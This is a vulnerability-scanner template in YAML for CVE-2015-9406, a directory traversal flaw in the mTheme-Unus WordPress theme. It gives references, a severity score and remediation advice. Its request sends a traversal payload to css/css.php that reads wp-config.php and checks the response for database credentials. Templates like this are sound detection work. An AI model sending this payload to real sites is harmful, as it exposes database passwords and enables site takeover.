id: CVE-2015-9406

info:
  name: mTheme Unus < 2.3 - Directory Traversal
  author: pussycat0x,dhiyaneshDk
  severity: high
  description: |
    The mTheme-Unus theme for WordPress, prior to version 2.3, contained a directory traversal flaw that let attackers access arbitrary files. This was possible by exploiting the files parameter in css/css.php with .. sequences.
  impact: |
    Attackers can read sensitive files including database credentials and configuration files, potentially leading to full site compromise.
  remediation: Upgrade to 2.3 or later version
  reference:
    - https://wpscan.com/vulnerability/d54b6b63-f280-412e-8c8f-17186727ac36/
    - https://wpscan.com/vulnerability/bc036ee3-9648-49db-ae52-3a58fdeb82eb/
    - https://wpvulndb.com/vulnerabilities/9890
    - https://packetstormsecurity.com/files/133778/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-9406
    cwe-id: CWE-22
    epss-score: 0.55008
    epss-percentile: 0.98896
    cpe: cpe:2.3:a:mtheme-unus_project:mtheme-unus:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    vendor: mtheme-unus_project
    product: mtheme-unus
    framework: wordpress
    fofa-query: 'body="wp-content/themes/mTheme-Unus/"'
  tags: cve,cve2015,wordpress,wp-theme,wp,wpscan,mtheme-unus,lfi,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022002a282fbd2ce3714904e426be1f446745ea4d8d4f51779719a8a3b5495879ec502203ae2ef0d0bea0c9e998e68a02e1776d2ed9ad97651ab6e67f458b9de2d1d6503:922c64590222798bb761d5b6d8e72950